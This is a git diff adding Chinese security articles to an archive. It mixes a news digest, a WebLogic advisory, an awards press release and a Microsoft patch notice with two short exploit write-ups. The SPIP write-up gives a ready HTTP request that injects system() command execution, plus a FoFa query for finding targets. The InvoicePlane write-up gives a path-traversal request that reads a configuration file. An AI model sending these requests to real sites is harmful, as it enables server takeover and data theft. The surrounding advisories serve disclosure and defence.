CVE-2026-27540，CVSS 评分为 9.8，攻击者无需用户名和密码就可能接管受影响的网站，问题与插件提供的文件上传功能有关，原本为了收集批发客户信息而设计的业务入口，可能被转换成服务端攻击路径。由于 WooCommerce 网站通常连接商品、订单、客户资料和支付相关流程，插件失守后的影响可能远超一个页面被篡改。 +**插件风险的现实难点在于，企业往往把它当作 “网站小组件” 管理。核心 WordPress 和服务器有专人维护，插件却可能由运营人员临时安装，长期没有版本台账，也没有经过安全测试。攻击者不需要先骗到管理员，只要找到暴露在公网的站点和可利用的功能，就可能部署恶意文件、修改管理员信息、窃取订单数据，或者把网站变成继续攻击访客的跳板。** +使用该插件的站点应立即核对插件名称和版本，按照厂商或 WordPress 安全团队的修复建议升级；无法马上升级时，应临时停用相关功能并限制上传入口。处置时不要只删除首页上的异常代码，还要检查管理员账号、主题和插件目录、计划任务、数据库配置、WebShell 迹象以及支付页面是否被篡改。完成清理后应重置后台、数据库、FTP 和云主机凭据，并开启文件变更监控。以后新增插件要纳入资产清单和更新责任人，上传文件也必须经过类型、内容和存储位置的多层校验。 + + +**06** + +**Telegram 桌面版 HTML 导出存在数据窃取风险：旧导出文件也不能继续打开** + + +安全研究人员披露，Telegram Desktop 曾存在一项高危漏洞：攻击者可以把 JavaScript 隐藏在机器人生成的内联键盘按钮中，受害者导出聊天记录为 HTML 文件后，恶意脚本可能在浏览器中执行并窃取聊天内容。Telegram 已在 Desktop Beta 6.9.4 和稳定版 7.0.1 中修复问题，但使用旧版本生成的 HTML 导出文件本身可能仍然不安全。也就是说，更新客户端并不自动消除已经落地到电脑上的风险文件。 +**这个事件的关键不在于用户是否主动点击了一个明显的恶意附件，而在于 “导出” 这个看起来很普通的功能改变了数据运行环境。聊天记录原本存在于应用内部，导出后变成了可以被浏览器解析的网页文件。如果其中夹带脚本，打开动作就可能把敏感对话、联系人信息和业务资料暴露给攻击者，企业用户尤其要警惕把聊天导出文件放入共享盘、邮件附件或工单系统后继续传播。** +Telegram Desktop 用户应立即升级到已修复的稳定版本，并对历史 HTML 导出文件采取谨慎策略：来源不明或由旧版本生成的文件不要直接打开，必要时先隔离、删除或在无敏感数据的环境中检查。企业还应通过终端管理策略限制员工直接运行外部 HTML，浏览器关闭不必要的脚本权限，并提醒员工不要把聊天记录导出当成普通文档。若已经打开可疑文件，应检查浏览器下载记录、异常外联、会话令牌和相关账号活动；涉及敏感聊天的账号要及时撤销会话并重新认证。 + + +**07** + +**日本数字厅平台数据泄露：VPN 设备一个入口，可能牵连多个政府部门** + + +日本数字厅确认，供多个政府机构共用的 Government Solution Service 平台发生数据泄露，约 246000 条个人记录可能受到影响。公开信息称，攻击者利用 VPN 设备漏洞取得未授权访问，随后进入内部服务器。这个事件值得关注的地方，不只是数据数量，而是共享平台的集中效应：当多个部门和业务系统依赖同一套基础设施时，边界设备的一个缺口可能让攻击者获得跨组织的访问机会。 +**政府和大型企业都在使用统一身份、共享网络和集中式业务平台，这能提高效率，也会放大单点失守后的影响。很多团队完成 VPN 登录后，就默认后面的内网是可信的，结果攻击者一旦穿过第一道边界，便可以继续寻找服务器、账号和数据库，即使核心系统没有全部被控制，攻击者也可能先读取个人记录、建立持久化入口，再等待后续机会扩大权限。** +使用 VPN 和共享平台的单位应立即盘点设备型号、固件版本、公开暴露接口和远程账号，按厂商公告完成修复。更重要的是，要检查是否存在 “登录 VPN 即可广泛访问内网” 的过度信任，落实网络分区、最小权限、设备状态校验和对关键系统的二次认证。针对本事件类型，日志排查应覆盖 VPN 认证、异常地理位置、短时间横向连接、服务器新建账号和数据库批量读取。确认有数据被访问时，应保全证据、评估个人信息影响范围，并按适用法规和内部流程启动通知与整改。 + + +**08** + +**CISA 与 NIST 发布身份令牌安全清单：登录成功不等于会话安全** + + +CISA 和 NIST 发布最终技术指导，帮助联邦机构和云服务商防止身份与访问令牌被伪造、窃取、重放或滥用。相关文件以 NIST Interagency Report 8587 形式发布，重点放在令牌生命周期、验证、保护和使用控制上。它不是某一家企业正在遭遇的单一入侵事件，却直接对应当前云服务和企业身份系统最常见的风险：攻击者未必需要再次猜密码，只要拿到有效会话，就可能以合法用户的样子继续行动。 +**传统安全检查经常把重点放在 “有没有多因素认证”,但 MFA 完成后生成的会话令牌，如果没有设备绑定、合理时效、撤销机制和异常行为检测，仍可能被窃取后重放,攻击者也会利用浏览器缓存、恶意扩展、钓鱼代理、日志泄露和不安全的应用接口取得令牌。对企业来说，最危险的误区是把令牌当作普通字符串管理，而忽略它实际代表着一段已经通过认证的权限。** +企业可以把这份指导转成身份系统检查清单：明确令牌签发者和受众，缩短高风险会话有效期，对敏感操作重新认证，绑定设备或风险上下文，并确保退出、改密和账号封禁能够真正撤销会话。安全运营侧要监测异常地点、异常设备、令牌并发使用、长时间无交互访问和高频数据调用。云服务商和内部应用还应避免把令牌写入日志、URL 或前端可随意读取的存储位置。MFA 仍然重要，但它不是令牌安全的终点。 + + +**09** + +**CISA 总结 Active Directory 的 17 种入侵手法：域控安全不能只靠管理员密码** + + +CISA 联合多国网络安全机构发布 Active Directory 环境攻击技术指南，梳理攻击者常用的 17 种入侵和扩权手法。 +**公开摘要指出，风险涉及身份配置、遗留协议、证书服务和特权系统，攻击者可能借此提升权限、横向移动并建立长期持久化,对于使用 Windows 域环境的企业，这类指导的价值在于把分散的安全问题串成一条攻击路径：初始账号权限不高，并不意味着最终影响也有限。域环境经常存在多年累积的复杂配置,旧协议没有关闭，服务账号权限过大，证书模板缺少限制，管理员工作站又与普通办公终端混用，这些单点问题一旦被攻击者组合起来，就可能逐步靠近域控。** +很多企业在排查时只问 “管理员密码有没有泄露”，却忽略了 Kerberos、证书服务、组策略、委派关系和本地管理员权限同样可能成为突破口。建议企业依据这份指南对 AD 做一次面向攻击路径的自查，而不是只做漏洞扫描。重点核对高权限组成员、服务账号、过期账号、遗留协议、证书模板、组策略和域控管理面，关闭不再需要的服务，限制特权账号登录普通终端，并为关键操作启用更强的认证和审批。日志侧应关联异常票据、证书申请、组成员变化、远程管理和批量认证失败。发现域环境已被入侵时，不能只重置一个用户密码，还要评估黄金票据、持久化任务、凭据哈希和信任关系是否已经受到影响。 + + +10 + +**苹果一次修复 273 个漏洞：手机、浏览器和开发机都要纳入补丁计划** + + +苹果近日为多个产品线发布安全更新，公开信息显示，本轮共修复 273 个漏洞，涉及 iPhone、iPad、Mac、Apple Watch、Apple TV、Vision Pro、Safari 和 Xcode，更新包括 iOS 27、iPadOS 27、macOS Golden Gate 27、watchOS 27、tvOS 27、visionOS 27、Safari 27 和 Xcode 27 等版本。 +**数量本身不等于每个漏洞都能在所有设备上被远程利用，但它明确说明苹果生态并不是 “一次更新一台电脑” 这么简单,企业经常只盯着办公电脑，忽略员工手机、平板、浏览器和开发设备。实际上，手机可能接收验证码和企业邮件，浏览器承载身份会话，Xcode 则可能接触代码签名和应用发布链,任何一个设备长期停留在旧版本，都可能成为账号窃取、恶意网页攻击或供应链操作的落脚点。** +对统一管理不足的单位来说，真正的难题不是下载补丁，而是确认所有资产都被看见。企业 IT 部门应根据资产清单分批推进更新，优先处理联网终端、存放敏感会话的设备以及开发和签名环境。更新前后要核对实际版本号、设备合规状态和失败设备清单，不能只看管理平台显示 “已下发”。安全团队可同步排查异常浏览器崩溃、陌生扩展、可疑应用安装、权限变化和异常外联。若设备无法立即更新，应限制其访问核心系统，尤其不要让旧终端继续承担管理员、财务或代码发布权限。补丁管理的目标不是把数字变小，而是让真实暴露面变小。 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/AyvgaRYHWDaMt9pkOTqhianyOZNGN5gafhR0UibKp5urWMFiagJdiaoIJhRY899FobVZic4fZ8syJjuEmSKpE7HHZSyHhjjdB5mosDib6Tj2CeAfQ/640?wx_fmt=gif&from=appmsg "") + +信息来源：人民网 国家计算机网络应急技术处理协调中心 国家信息安全漏洞库 今日头条 360威胁情报中心 中科汇能GT攻防实验室 安全牛 E安全 安全客 NOSEC安全讯息平台 火绒安全 亚信安全 奇安信威胁情报中心 MACFEESy mantec白帽汇安全研究院 安全帮  卡巴斯基 安全内参 安全学习那些事 安全圈 黑客新闻 蚁景网安实验室 IT之家IT资讯 黑客新闻国外 天际友盟 + +![](https://mmbiz.qpic.cn/mmbiz_png/AyvgaRYHWDbs1OL6Y87Zer4ro7zOd37EqsS21ONKRPiaYHjsK5Xs1k621mZcgnEsaBE1QGKQDIvhf0ZVlgdW8EycKIYuYS1j6Q3VnE4pYGoI/640?wx_fmt=png&from=appmsg "") + + +本文版权归原作者所有，如有侵权请联系我们及时删除 + + diff --git a/doc/2026-09/SPIP spip.php 存在远程命令执行漏洞复现poc CVE-2026-77806.md b/doc/2026-09/SPIP spip.php 存在远程命令执行漏洞复现poc CVE-2026-77806.md new file mode 100644 index 00000000..ebfdba0d --- /dev/null +++ b/doc/2026-09/SPIP spip.php 存在远程命令执行漏洞复现poc CVE-2026-77806.md @@ -0,0 +1,69 @@ +# SPIP spip.php 存在远程命令执行漏洞复现poc CVE-2026-77806 +原创 安羽安全 + 安羽安全 安羽安全 2026-09-16 03:24 + +**01****免责声明：** + +文章内容仅供日常学习使用，请勿非法测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，由使用者承担全部法律及连带责任，作者及发布者不承担任何法律及连带责任。如有内容争议或侵权，我们会及时删除。 + +**本周漏洞速递｜20个高危漏洞预警+漏洞复现poc** + +**02    漏洞描述** + +SPIP spip.php存在远程命令执行漏洞复现poc (CVE-2026-77806) + +    FoFa： +body="spip.php" + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h29PqzMrB7ulvlGPaKfHBGU1vfhvRLF6n5fBvdyXpvEOwNhYBUfU4UX8a2C8c3K8eIDSQS08Mx1x14ibIh3DexVp4WgN0OPYcbQYFvjBveIM/640?wx_fmt=png&from=appmsg "") +## 03    漏洞复现  + +1、复现poc +``` +POST /spip.php?page=sommaire&aaaannnn=%3C%3Fphp%20header(%22X-Spip-Filtre:%20intval|_request|system%22);%20%3F%3E HTTP/1.1 +Host:  +Content-Type: application/x-www-form-urlencoded +Content-Length: 8 + +0=whoami +``` + +2、命令执行成功 + +![](https://mmbiz.qpic.cn/mmbiz_png/h29PqzMrB7v327Cc0b9o3IKzw1caxSsdun8gh8t5ZorjhP24Cic1V62riciaQic982IuLDtaP63J8Jdmw4HNWexYr6adyKszxRgKoYq5J18MibCE/640?wx_fmt=png&from=appmsg "") + +**04    漏洞详情** + +**Nuclei 批量自查验证脚本，加入下方内部圈子获取** + +![](https://mmbiz.qpic.cn/mmbiz_png/h29PqzMrB7vVQmF5ssFLgwOD3k4FzYYmP9OgfmoEfa48ichbXw6ExYJOD9fAw8mw8ENo7EiaAicaL5OS4dLaUA4UjJOOov5eSHO8E5Cibk7QnXQ/640?wx_fmt=png&from=appmsg "") + +🎯 圈子提供什么？ + +✅ **每周3–7个Nuclei POC** + —— 开箱即用，直接放进扫描器批量验证 + +✅ **每周10–20篇漏洞复现文章** + —— 完整分析+请求包+利用方式 + +✅ **覆盖OA、ERP、中间件、开源平台** +等实战常见系统 + +✅ **500+漏洞文档、200+POC** +，历史内容永久可看 + +✅ **MD5解密 + 网盘资源搜索** +辅助服务 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h29PqzMrB7s3zIwW89fh2MxrvowUy9XtAWZaV1iad6c68a84Sly1ZETmv3gYUm6pFibuiatB2gM2BPILviaGgj5BbelDyYVHwcaJE3K9I2l8dia4/640?wx_fmt=png&from=appmsg "") + +**加入后即可查看 全部历史内容、漏洞库、Nuclei poc、每周持续更新** + +**价格随着人数增加而增加，限时 49 一年** + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h29PqzMrB7uHDlSmO2IfhmcDPJVhFPLkyhSDzpA3zFGic41lVZ7eLRlcZpffClcJSNN0Bjia08a0JpicuS6YqNNjGkPghFFIt5CdHCicibddm8D8/640?wx_fmt=png&from=appmsg "") + + +**本周漏洞速递｜20个高危漏洞预警+漏洞复现poc** + diff --git a/doc/2026-09/【成功复现】InvoicePlane路径遍历漏洞(CVE-2026-23491).md b/doc/2026-09/【成功复现】InvoicePlane路径遍历漏洞(CVE-2026-23491).md new file mode 100644 index 00000000..27180d86 --- /dev/null +++ b/doc/2026-09/【成功复现】InvoicePlane路径遍历漏洞(CVE-2026-23491).md @@ -0,0 +1,139 @@ +# 【成功复现】InvoicePlane路径遍历漏洞(CVE-2026-23491) +原创 弥天安全实验室 + 弥天安全实验室 弥天安全实验室 2026-09-16 04:26 + +# + +网安引领时代，弥天点亮未来   +  + + + + + +  + +![Image](https://mmbiz.qpic.cn/mmbiz_png/MjmKb3ap0hDCVZx96ZMibcJI8GEwNnAyx4yiavy2qelCaTeSAibEeFrVtpyibBCicjbzwDkmBJDj9xBWJ6ff10OTQ2w/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&randomid=2jntd263&tp=webp#imgIndex=0 "") + + +**0x00写在前面** + +**本次测试仅供学习使用，如若非法他用，与平台和本文作者无关，需自行负责！** + +![Image](https://mmbiz.qpic.cn/mmbiz_png/MjmKb3ap0hDCVZx96ZMibcJI8GEwNnAyx4yiavy2qelCaTeSAibEeFrVtpyibBCicjbzwDkmBJDj9xBWJ6ff10OTQ2w/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&randomid=7c3v7kvq&tp=webp#imgIndex=1 "") + + +**0x01漏洞介绍** + + +![](https://mmbiz.qpic.cn/mmbiz_png/YfTkN0R6oGjRSUcAbSRb8S40libUpS1Xe6icvUibtcjHP6ZDKJUCuGSUhLLUXLcLPNYiaDvrnTRaqNEDVDUfRDzvn6xRVO0kWxtjBf5F6qQ7nOY/640?wx_fmt=png&from=appmsg "") + + +InvoicePlane是InvoicePlane团队开源的一个应用软件。提供一个自托管的开源应用程序,用于管理您的报价,发票,客户和付款。 + +InvoicePlane 1.6.3及之前版本存在路径遍历漏洞，该漏洞源于Guest模块Get控制器中的get_file方法存在路径遍历，可能导致读取任意文件。 + + +![Image](https://mmbiz.qpic.cn/mmbiz_png/MjmKb3ap0hDCVZx96ZMibcJI8GEwNnAyx4yiavy2qelCaTeSAibEeFrVtpyibBCicjbzwDkmBJDj9xBWJ6ff10OTQ2w/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&randomid=7c3v7kvq&tp=webp#imgIndex=1 "") + + +**0x02影响版本** + + +InvoicePlane 1.6.3及之前版本【漏洞成因接口未授权，传参未过滤】 + + +**利用条件：** + +网络可达 + +![](https://mmbiz.qpic.cn/mmbiz_png/YfTkN0R6oGhqexl7ic3HAEtvTVicfic4ibrnkR3USYaVGianBbWgfgQGyW3bk0FwVVsbLPpSNlvKaljrpIjAkdghPJqCTT6Qa9wiclLXZSrP7ovJg/640?wx_fmt=png&from=appmsg "") + + +![Image](https://mmbiz.qpic.cn/mmbiz_png/MjmKb3ap0hDCVZx96ZMibcJI8GEwNnAyx4yiavy2qelCaTeSAibEeFrVtpyibBCicjbzwDkmBJDj9xBWJ6ff10OTQ2w/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&randomid=7c3v7kvq&tp=webp#imgIndex=1 "") + + +**0x03漏洞复现** + + +1.访问环境 + +![](https://mmbiz.qpic.cn/mmbiz_png/YfTkN0R6oGiaJpicOt6TULibeyWqrkYOleCLSvM1RQrIlXRSibrey7ichSTxghfXRib8FC1wk4BoloZkkbD91giaZ1DGfj4e52Emc2y5qRPBNGkwoA/640?wx_fmt=png&from=appmsg "") + + +2.漏洞利用 + +poc +``` +GET /index.php/guest/get/get_file/..%2f..%2fipconfig.php HTTP/1.1 +Host: 127.0.01 +User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 +Accept-Encoding: gzip +``` + +漏洞测试，成功读取 ipconfig.php文件内容 + +![](https://mmbiz.qpic.cn/mmbiz_png/YfTkN0R6oGgKSHnbmhgI5k3OqYS67mDrVdxW0gzbMuvPMH9msgbTw41mIiaeW6shDUGQz1ynloCppebMI9iawrQeXKVQYyhl4vCpQm8PNVdpQ/640?wx_fmt=png&from=appmsg "") + + +3.弥天安全实验室漏洞库【已验证】 + +![](https://mmbiz.qpic.cn/mmbiz_png/YfTkN0R6oGialyEf6PznFDIOxJYoMJVKRXUlXhnmlZQMmDTPwTNXe3icsleEXWicfLCbc48CpATFWl3vCyk4qtiak77vOE22NUMGuuJcMTR0apY/640?wx_fmt=png&from=appmsg "") + +![Image](https://mmbiz.qpic.cn/mmbiz_png/MjmKb3ap0hDCVZx96ZMibcJI8GEwNnAyx4yiavy2qelCaTeSAibEeFrVtpyibBCicjbzwDkmBJDj9xBWJ6ff10OTQ2w/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&randomid=bzequ3sx&tp=webp#imgIndex=3 "") + + +**0x04修复建议** + + +目前厂商已发布升级补丁以修复漏洞，补丁获取链接： + +临时缓解措施： + +安全防御设备WAF、IPS、防火墙等阻断攻击行为。 + + +建议尽快升级修复漏洞，再次声明本文仅供学习使用，非法他用责任自负！    +``` +https://github.com/InvoicePlane/InvoicePlane/commit/add8bb798dde621f886823065ef1841986543c69 +https://github.com/InvoicePlane/InvoicePlane/security/advisories/GHSA-88gq-mv54-v3fc +https://github.com/InvoicePlane/InvoicePlane/releases +``` + + +技术交流群 + ➕VX：xyzy0720 + + +弥天简介 + +学海浩茫，予以风动，必降弥天之润！弥天安全实验室成立于2019年2月19日，主要研究安全防守溯源、威胁狩猎、漏洞复现、工具分享等不同领域。目前主要力量为民间白帽子，也是民间组织。主要以技术共享、交流等不断赋能自己，赋能安全圈，为网络安全发展贡献自己的微薄之力。 + +口号 网安引领时代，弥天点亮未来 + + + +![Image](https://mmbiz.qpic.cn/mmbiz_gif/b96CibCt70iaaqjXT4YxgHVARD1NNv0RvKtiaAvXhmruVqgavPY3stwrfvLKetGycKUfxIq3Xc6F6dhU7eb4oh2gg/640?wx_fmt=gif&wxfrom=5&wx_lazy=1&randomid=h6lqq1ue&tp=webp#imgIndex=8 "") + +  + + +知识分享完了 + +喜欢别忘了关注我们哦~ + +学海浩茫， + +予以风动， + +必降弥天之润！ + + +   弥  天 + +安全实验室 + +![Image](https://mmbiz.qpic.cn/mmbiz_jpg/MjmKb3ap0hDyTJAqicycpl7ZakwfehdOgvOqd7bOUjVTdwxpfudPLOJcLiaSZnMC7pDDdlIF4TWBWWYnD04wX7uA/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&randomid=u34b870m&tp=webp#imgIndex=9 "") + + + diff --git a/doc/2026-09/【漏洞通告】Oracle WebLogic Server未授权远程接管漏洞（CVE-2026-70756).md b/doc/2026-09/【漏洞通告】Oracle WebLogic Server未授权远程接管漏洞（CVE-2026-70756).md new file mode 100644 index 00000000..9aa65f5a --- /dev/null +++ b/doc/2026-09/【漏洞通告】Oracle WebLogic Server未授权远程接管漏洞（CVE-2026-70756).md @@ -0,0 +1,46 @@ +# 【漏洞通告】Oracle WebLogic Server未授权远程接管漏洞（CVE-2026-70756) + 启明星辰安全简讯 2026-09-16 08:36 + +### 一、漏洞概述 +

漏洞名称

Oracle WebLogic Server未授权远程接管漏洞

CVE ID

CVE-2026-70756

漏洞类型

未授权访问

发现时间

2026-9-16

漏洞评分

9.8

漏洞等级

严重

攻击向量

网络

所需权限

无

利用难度

低

用户交互

不需要

PoC/EXP

未公开

在野利用

未发现

+Oracle WebLogic Server是Oracle推出的企业级应用服务器，属于Oracle Fusion Middleware的重要组成部分，主要用于开发、部署和运行基于Java EE或Jakarta EE的企业应用，支持应用部署、集群与高可用、数据库连接、消息服务、安全管理及运行监控等功能。 + +2026年9月16日，启明星辰安全应急响应中心（VSRC）监测到Oracle WebLogic Server未授权远程接管漏洞。未经身份认证的远程攻击者在能够通过网络访问T3或IIOP服务的情况下，可较容易地利用该漏洞攻击Oracle WebLogic Server。漏洞成功利用后可能导致服务器被完全接管。 +### 二、影响范围 + +Oracle WebLogic Server = 12.2.1.4.0 + +Oracle WebLogic Server = 14.1.1.0.0 + +Oracle WebLogic Server = 14.1.2.0.0 + +Oracle WebLogic Server = 15.1.1.0.0 +### 三、安全措施 + +3.1 升级版本 + +建议受影响用户尽快安装Oracle 2026年9月Critical Security Patch Update中针对Oracle WebLogic Server发布的安全补丁，并按照Fusion Middleware Patch Availability Document中的补丁可用性及安装说明完成修复。Oracle建议用户保持在Premier Support或Extended Support覆盖的受支持版本，并及时应用安全更新。 + +下载链接： + +https://www.oracle.com/security-alerts/cspusep2026.html/ + +3.2 临时措施 + +若暂时无法立即安装补丁，可通过限制或阻断攻击所需的网络协议降低利用风险；针对本漏洞，应重点限制T3、IIOP相关网络访问，仅允许可信来源访问。 + +3.3 通用建议 + +定期更新系统补丁，减少系统漏洞，提升服务器的安全性。 + +加强系统和网络的访问控制，修改防火墙策略，关闭非必要的应用端口或服务，减少将危险服务（如SSH、RDP等）暴露到公网，减少攻击面。 + +使用企业级安全产品，提升企业的网络安全性能。 + +加强系统用户和权限管理，启用多因素认证机制和最小权限原则，用户和软件权限应保持在最低限度。 + +启用强密码策略并设置为定期修改。 + +3.4 参考链接 + +https://www.oracle.com/security-alerts/cspusep2026.html diff --git a/doc/2026-09/【长亭AI安全·网安周进行时】9奖齐发！漏洞治理见真章，AI成果树标杆.md b/doc/2026-09/【长亭AI安全·网安周进行时】9奖齐发！漏洞治理见真章，AI成果树标杆.md new file mode 100644 index 00000000..d2fa15d1 --- /dev/null +++ b/doc/2026-09/【长亭AI安全·网安周进行时】9奖齐发！漏洞治理见真章，AI成果树标杆.md @@ -0,0 +1,138 @@ +# 【长亭AI安全·网安周进行时】9奖齐发！漏洞治理见真章，AI成果树标杆 +夺旗猫 + 夺旗猫 长亭安全观察 2026-09-16 04:33 + +![](https://mmbiz.qpic.cn/mmbiz_gif/uX9TOlqibIRsj9EUOOJibJL4WtibxDNml3IBw9NXhciaSVh4IufyLB4AIMSqzI1mZ17mfpBXfjzkhtiaZc5RGmn9Io7G3hC4Bd1fvbvUkTeyibhuw/640?wx_fmt=gif&from=appmsg "") + + +9月14日，长亭科技创始人、CEO朱文雷在2026年国家网络安全宣传周主论坛发表演讲， +[对当前的 AI防御体系升级建设分享了三个关键思考。](https://mp.weixin.qq.com/s?__biz=MzIwNDA2NDk5OQ==&mid=2651390682&idx=1&sn=afd1e25c97fb595500da3b4d1c6e2d5b&scene=21#wechat_redirect) + + + +9月15日，则是长亭科技 AI 安全成果集中呈现的一天，在网安周举办的多个分论坛上，长亭科技接连获得国家监管部门颁发的奖项和荣誉证书，其中 +多项第一 +， +共计获颁9项荣誉 +！ + + +**国家级人工智能技术赋能网络安全应用测试第一** + + + +在国家网络安全宣传周 +「人工智能技术赋能网络安全应用分论坛」 +上，颁发了 +2026年人工智能技术赋能网络安全应用测试结果 +的证书。 + + +长亭科技继2025年以「基于局域网流量的漏洞利用攻击识别」场景获得第一名之后，今年在 +「AI智能体恶意操作行为检测」 +场景中 +再获第一名 +！长亭AI实验室负责人苏莉娅上台领奖，并就比赛过程作技术专题演讲分享。 + + +![图片](https://mmecoa.qpic.cn/mmecoa_jpg/iaZq4cu1zibCwglS0eWK7cial1o3oVtFyYQbYTClOo7LtKvoicfxjW1C1dS0hUoYia3RNHbBleh8gUBkicVnB7cLOocOH5pEdibdShZmicoNANicCK0k/640?wx_fmt=jpeg&from=appmsg&tp=wxpic&wxfrom=10005&wx_lazy=1#imgIndex=1 "") + + +人工智能技术赋能网络安全应用测试由中央网信办网络安全协调局等多部门联合指导、国家互联网应急中心等单位主办，结果在每年国家网络安全宣传周期间公布，是目前 +国内对AI安全能力最权威的国家级官方认证 +。 + + +从流量检测到智能体安全，长亭科技在这一国家级测试中完成了从知攻善防到智能安全的延伸：既能用 AI 赋能网络安全，也守得住 AI 自身的安全底线。 + + +**大模型安全众测第一、基础语料库联合发布** + + + +在 +「人工智能安全治理分论坛」 +上，公布了2026年人工智能大模型安全众测结果并现场颁奖。 +长亭科技 +以 +众测第一 +的名次，获颁 +2026年人工智能大模型安全众测“优秀测试团队” +和 +2026年人工智能大模型安全众测“优秀白帽子” +两项荣誉！ + + +![图片](https://mmecoa.qpic.cn/sz_mmecoa_jpg/iaZq4cu1zibCwMylsZ3lF8NjAXqlLRViaibLZcgCeicQqIvskcr3MH2CTxXH54pcrE2uaKBZ4ayvicdjeuMVPXwxG44mkicrfVkkZMyzvsuAKfic6v0/640?wx_fmt=jpeg&from=appmsg&tp=wxpic&wxfrom=10005&wx_lazy=1#imgIndex=2 "") + + +![图片](https://mmecoa.qpic.cn/sz_mmecoa_png/iaZq4cu1zibCyhj3ca1olL45rNNQOJ60Xu7Z9hD8Fwe3PS8Qq040rke2XlkP3LmLbBqhwhM82v8Ud2oURvQ5UcH6auSDGicW2zqKmxdVtDebpk/640?wx_fmt=png&from=appmsg&tp=wxpic&wxfrom=10005&wx_lazy=1#imgIndex=3 "") + + +随着AI技术的发展，长亭科技基于自身的实战攻防实力，在国内率先开展大模型安全风险评估服务。2025年12月，长亭科技就在2025年北京市AI创新大赛中，拿下"内容安全专业极客赛·安全防护"一等奖，显示了在大模型安全评估方向的领先技术能力。 + + +大会同场举行了 +基础语料库发布 +仪式。基于长亭科技前期的公益数据开放， +长亭科技 +作为 +联合单位代表 +参与，共同见证国产大模型基础语料库的正式启动。 + + +基础语料库的联合发布，是长亭科技在数据开放上的动作持续。今年7月，长亭科技发起" +数据集开放计划 +"，开放了一批自己储备的高质量漏洞样本数据，以公益计划的形式发布，希望以实际行动推动国产大模型安全能力持续提升。目前已有近20家国产大模型签署协议建立合作。 + + +**CNCERT甲级支撑单位和CNVD多项荣誉** + + + +在 +「网络安全协同防御分论坛」 +上，国家计算机网络应急技术处理协调中心（CNCERT）正式为第十一届网络安全应急服务支撑单位授牌， +长亭科技 +作为 +甲级支撑单位 +上台接受授牌。 + + +![图片](https://mmecoa.qpic.cn/sz_mmecoa_jpg/iaZq4cu1zibCx7Vnba2W3UnE1iaMLOD8MrmxtsBwico1OkwRtcQoQqSokTzicghbsgLt67E5bd9KicwLWTbG18gtV6G6tibEupXhQHV0plENEWwicbg/640?wx_fmt=jpeg&from=appmsg&tp=wxpic&wxfrom=10005&wx_lazy=1#imgIndex=4 "") + + +会上，还进行了国家信息安全漏洞共享平台（CNVD）优秀单位（个人）表彰颁奖。长亭科技获评  +CNVD 2025年度漏洞报送贡献单位、漏洞应急工作突出贡献单位、原创漏洞发现贡献单位、最具价值漏洞 +等4项荣誉！ + + +![图片](https://mmecoa.qpic.cn/sz_mmecoa_png/iaZq4cu1zibCxBspAM0kibjwLicS3WTmzTyu4haIK9IENT9l2DhRK2svF2x2ZadBSdtSry2dctX1axSJaaI47Gy7AVQ42yGLDkauSnam5aQ1CHg/640?wx_fmt=png&from=appmsg&tp=wxpic&wxfrom=10005&wx_lazy=1#imgIndex=5 "") + + +长亭科技以AI赋能漏洞挖掘，其自研的MonkeyScan漏洞挖掘智能体上线以来，已帮助用户发现超过5万个漏洞，其中高危或严重问题占一半以上。面向AI时代的新型漏洞风险，长亭科技将继续把先进漏洞研究能力投入到国家网络安全应急技术体系中，在漏洞发现、报送与应急响应的每一环提供坚实支撑。 + + +**基础软件漏洞报送优秀企业** + + + +同一天，在成都举办的2026 CCS成都网络安全技术交流活动上，长亭科技获得国家信息安全漏洞库（CNNVD）颁发的 +2026 年度 CNNVD 基础软件漏洞报送优秀企业 +证书，为长亭科技的漏洞治理能力再添上一份国家级权威认可。 + + +![图片](https://mmecoa.qpic.cn/sz_mmecoa_png/iaZq4cu1zibCyfMGbRKTD2oP7w8P77904QevSJak26drn640kzbjN2VtwcIWic6Dlp4wRBSZYn6TjtrqeKjsWZq2OfQU6mz1dPVEic70ttPPFuY/640?wx_fmt=png&from=appmsg&tp=wxpic&wxfrom=10005&wx_lazy=1#imgIndex=6 "") + + +9份荣誉，多项第一，覆盖当前最热的智能体安全、大模型安全，以及应急支撑、漏洞治理多个方向，这份成绩单，是长亭科技AI安全走到今天的成果集中爆发，验证了长亭科技在AI安全上的优势能力。 + + +AI防御体系的重构已经开始，正如朱文雷在主论坛演讲中所说，“AI时代的网络安全，要推动整个防御体系全面升级：从单点设防走向架构韧性，从人工运营走向智能协同，从被动修补走向持续自愈。”长亭科技将继续深化"AI赋能安全"与"AI自身安全"创新，持续强化漏洞发现能力，护航 AI 时代的漏洞治理体系，让企业在智能时代既能用好AI、更能守住安全。 + + + +![](https://mmbiz.qpic.cn/mmbiz_png/uX9TOlqibIRvxHBVsZOEpY7IFkp71ULeRIXl1XPHvbCNgicT8DUTV2XDk5OUFUmud5GDtygVsmUOUnXtwtw25qXxKRUMM28QoEuRiazzbhnHyo/640?wx_fmt=png&from=appmsg "") + + + diff --git a/doc/2026-09/【风险通告】微软9月安全更新补丁和多个高危漏洞风险提示（CVE-2026-85880）.md b/doc/2026-09/【风险通告】微软9月安全更新补丁和多个高危漏洞风险提示（CVE-2026-85880）.md new file mode 100644 index 00000000..12583ec3 --- /dev/null +++ b/doc/2026-09/【风险通告】微软9月安全更新补丁和多个高危漏洞风险提示（CVE-2026-85880）.md @@ -0,0 +1,338 @@ +# 【风险通告】微软9月安全更新补丁和多个高危漏洞风险提示（CVE-2026-85880） + 安恒信息CERT 2026-09-16 06:43 + +![安恒信息安全通告](https://mmbiz.qpic.cn/mmbiz_png/P5dz00jGoySJnrLuYRCY2fcWR6ICngMzOHh0vxX7icUqsx7cWmb2aS9iatrs0Fr9iaVljTKDm47UAcxtbbbicbaItDvBTGJdaY4rlfSAmSu3J0Y/640?from=appmsg "") + + +**安全通告** + + + +微软官方发布了9月安全更新公告，包含了Windows Win32k、Windows DNS、Windows Device Association 